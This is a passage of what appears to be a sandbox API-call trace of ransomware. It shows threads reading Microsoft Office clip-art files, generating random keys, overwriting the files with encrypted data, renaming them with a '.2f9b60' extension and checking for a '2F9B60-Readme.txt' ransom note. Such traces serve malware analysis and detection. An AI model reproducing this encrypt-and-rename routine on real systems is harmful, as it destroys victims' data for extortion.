_Dest=0x1cda0698, _Format="%c%c" | out: _Dest="2e") returned 2 [0123.985] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="bc") returned 2 [0123.985] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="40") returned 2 [0123.985] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="55") returned 2 [0123.985] RtlInitAnsiString (in: DestinationString=0x1f92f6c8, SourceString="6981d656506fe32e4969a441376b76e57a291fe72ebc4055" | out: DestinationString="6981d656506fe32e4969a441376b76e57a291fe72ebc4055") [0123.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f92f698, SourceString="6981d656506fe32e4969a441376b76e57a291fe72ebc4055", AllocateDestinationString=1 | out: DestinationString="6981d656506fe32e4969a441376b76e57a291fe72ebc4055") returned 0x0 [0123.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0123.985] wcscat (in: _Dest=0x202b1370, _Source="6981d656506f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f" [0123.985] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f.2f9b60" [0123.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f.2f9b60", NtPathName=0x1f92f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6981d656506f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0123.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0123.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0123.987] NtQueryInformationFile (in: FileHandle=0x17f8, IoStatusBlock=0x1f92f6d8, FileInformation=0x1f92f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f92f6d8, FileInformation=0x1f92f6e8) returned 0x0 [0123.987] NtSetInformationFile (FileHandle=0x17f8, IoStatusBlock=0x1f92f6d8, FileInformation=0x1f92f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0123.989] FlushFileBuffers (hFile=0x17f8) returned 1 [0124.148] CloseHandle (hObject=0x17f8) returned 1 [0124.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0470 [0124.154] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.155] wcscat (in: _Dest=0x202b0470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 [0124.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ada0) returned 1 Thread: id = 1516 os_tid = 0x1a04 [0120.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0122.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF", dwFileAttributes=0x20) returned 1 [0122.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe8 [0123.466] GetFileSizeEx (in: hFile=0xfe8, lpFileSize=0x1f9cfa20 | out: lpFileSize=0x1f9cfa20*=6256) returned 1 [0123.466] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x186c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.466] ReadFile (in: hFile=0xfe8, lpBuffer=0x1f9cf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f9cf9e8, lpOverlapped=0x0 | out: lpBuffer=0x1f9cf9a0*, lpNumberOfBytesRead=0x1f9cf9e8*=0x4, lpOverlapped=0x0) returned 1 [0123.579] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0123.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0123.579] NtQuerySystemTime (in: CurrentTime=0x1f9cf8e0 | out: CurrentTime=0x1f9cf8e0*=132462177289570000) returned 0x0 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0xd4631b [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x2f21e6d8 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x57aee8f4 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x26abc247 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x79f29f60 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x556231aa [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x530bb9d [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x660aa3f3 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x604d1f64 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x753c4990 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x5b52ed42 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0xd33ec89 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x26e82dd3 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x717c5811 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x142b5113 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x79d3114a [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x5fc9c6 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x27496091 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x38de3be3 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x1cd1727b [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x12595e20 [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x669800ea [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x6f28c87e [0123.579] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x6896e5d6 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x54dbdd38 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x7e06f9f8 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x9260f40 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0xa26cd7d [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x43acc6e8 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x14c4f492 [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x488da18b [0123.580] RtlRandomEx (in: Seed=0x1f9cf8d0 | out: Seed=0x1f9cf8d0) returned 0x525bb23e [0123.586] ReadFile (in: hFile=0xfe8, lpBuffer=0x20473b80, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x1f9cf8d0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesRead=0x1f9cf8d0*=0x1870, lpOverlapped=0x0) returned 1 [0123.871] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.871] WriteFile (in: hFile=0xfe8, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x1f9cf8d4, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x1f9cf8d4*=0x1870, lpOverlapped=0x0) returned 1 [0123.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e170 [0123.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e230 [0123.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e230) returned 1 [0123.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0123.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0123.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e230 [0123.916] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.916] WriteFile (in: hFile=0xfe8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f9cf9f0, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x1f9cf9f0*=0x10a, lpOverlapped=0x0) returned 1 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f3a0 [0123.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f3a0) returned 1 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f3a0 [0123.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f3d0 [0123.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f3d0) returned 1 [0123.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.935] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="07") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="33") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="dc") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="a1") returned 2 [0123.935] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="72") returned 2 [0123.935] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="ce") returned 2 [0123.935] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="7b") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="35") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="78") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="b6") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="05") returned 2 [0123.935] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="66") returned 2 [0123.935] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="47") returned 2 [0123.935] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="a4") returned 2 [0123.936] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="39") returned 2 [0123.936] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="77") returned 2 [0123.936] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="9c") returned 2 [0123.936] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="64") returned 2 [0123.936] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="2b") returned 2 [0123.936] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="b4") returned 2 [0123.936] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="df") returned 2 [0123.936] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="d0") returned 2 [0123.936] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="d2") returned 2 [0123.936] RtlInitAnsiString (in: DestinationString=0x1f9cfa68, SourceString="077d33dca172ce7b3578b6056647a439779c642bb4dfd0d2" | out: DestinationString="077d33dca172ce7b3578b6056647a439779c642bb4dfd0d2") [0123.936] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f9cfa38, SourceString="077d33dca172ce7b3578b6056647a439779c642bb4dfd0d2", AllocateDestinationString=1 | out: DestinationString="077d33dca172ce7b3578b6056647a439779c642bb4dfd0d2") returned 0x0 [0123.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0123.936] wcscat (in: _Dest=0x202b1af0, _Source="077d33dca172" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172" [0123.936] wcscat (in: _Dest=0x202b1af0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172.2f9b60" [0123.936] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172.2f9b60", NtPathName=0x1f9cfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\077d33dca172.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0123.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0123.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0123.961] NtQueryInformationFile (in: FileHandle=0xfe8, IoStatusBlock=0x1f9cfa78, FileInformation=0x1f9cfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f9cfa78, FileInformation=0x1f9cfa88) returned 0x0 [0123.961] NtSetInformationFile (FileHandle=0xfe8, IoStatusBlock=0x1f9cfa78, FileInformation=0x1f9cfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 [0123.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0123.962] FlushFileBuffers (hFile=0xfe8) returned 1 [0124.129] CloseHandle (hObject=0xfe8) returned 1 [0124.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.131] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.131] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050abf0) returned 1 Thread: id = 1517 os_tid = 0x1a08 [0120.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0122.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF", dwFileAttributes=0x20) returned 1 [0122.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe08 [0122.655] GetFileSizeEx (in: hFile=0xe08, lpFileSize=0x1f70f6e0 | out: lpFileSize=0x1f70f6e0*=19476) returned 1 [0122.655] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x4c10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.655] ReadFile (in: hFile=0xe08, lpBuffer=0x1f70f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f70f6a8, lpOverlapped=0x0 | out: lpBuffer=0x1f70f660*, lpNumberOfBytesRead=0x1f70f6a8*=0x4, lpOverlapped=0x0) returned 1 [0122.674] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e470 [0122.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e500 [0122.675] NtQuerySystemTime (in: CurrentTime=0x1f70f5a0 | out: CurrentTime=0x1f70f5a0*=132462177280522000) returned 0x0 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0xbf8080d [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x5acfe59b [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x62eb4f52 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x1ca99bd5 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x714de6b4 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x33081d4f [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x26651ca4 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x30f9e535 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x31d068be [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x792bd79 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x31c8fe6d [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x4abc51b8 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x261dafd5 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x51e9a2c4 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x77a5beca [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0xb746bf2 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x278b14ec [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x7ca4c8be [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x2c96fe41 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x492ad2f9 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x6f19ceb0 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x70cd6c67 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x8075c18 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x329d7941 [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x733e456f [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x77a5beca [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x7ebce8a [0122.675] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x28f20c3f [0122.676] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x686454a3 [0122.676] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x719e64d4 [0122.676] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x557995ae [0122.676] RtlRandomEx (in: Seed=0x1f70f590 | out: Seed=0x1f70f590) returned 0x75f6dbe0 [0122.684] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.684] ReadFile (in: hFile=0xe08, lpBuffer=0x202b20b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f70f600, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesRead=0x1f70f600*=0x3c00, lpOverlapped=0x0) returned 1 [0122.709] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596f0 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505010 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a990) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201978d0 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e590) returned 1 [0122.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0122.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596f0) returned 1 [0122.712] WriteFile (in: hFile=0xe08, lpBuffer=0x201978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f70f600, lpOverlapped=0x0 | out: lpBuffer=0x201978d0*, lpNumberOfBytesWritten=0x1f70f600*=0x3c00, lpOverlapped=0x0) returned 1 [0160.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201978d0) returned 1 [0160.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b20b0) returned 1 [0160.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2630 [0160.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0160.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0160.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2660 [0160.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2660) returned 1 [0160.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2660 [0160.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2690 [0160.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26c0 [0160.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a26c0) returned 1 [0160.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0160.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0160.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13790 [0160.857] SetFilePointerEx (in: hFile=0xe08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.857] WriteFile (in: hFile=0xe08, lpBuffer=0x1ce13790*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f70f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13790*, lpNumberOfBytesWritten=0x1f70f6b0*=0x10a, lpOverlapped=0x0) returned 1 [0165.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 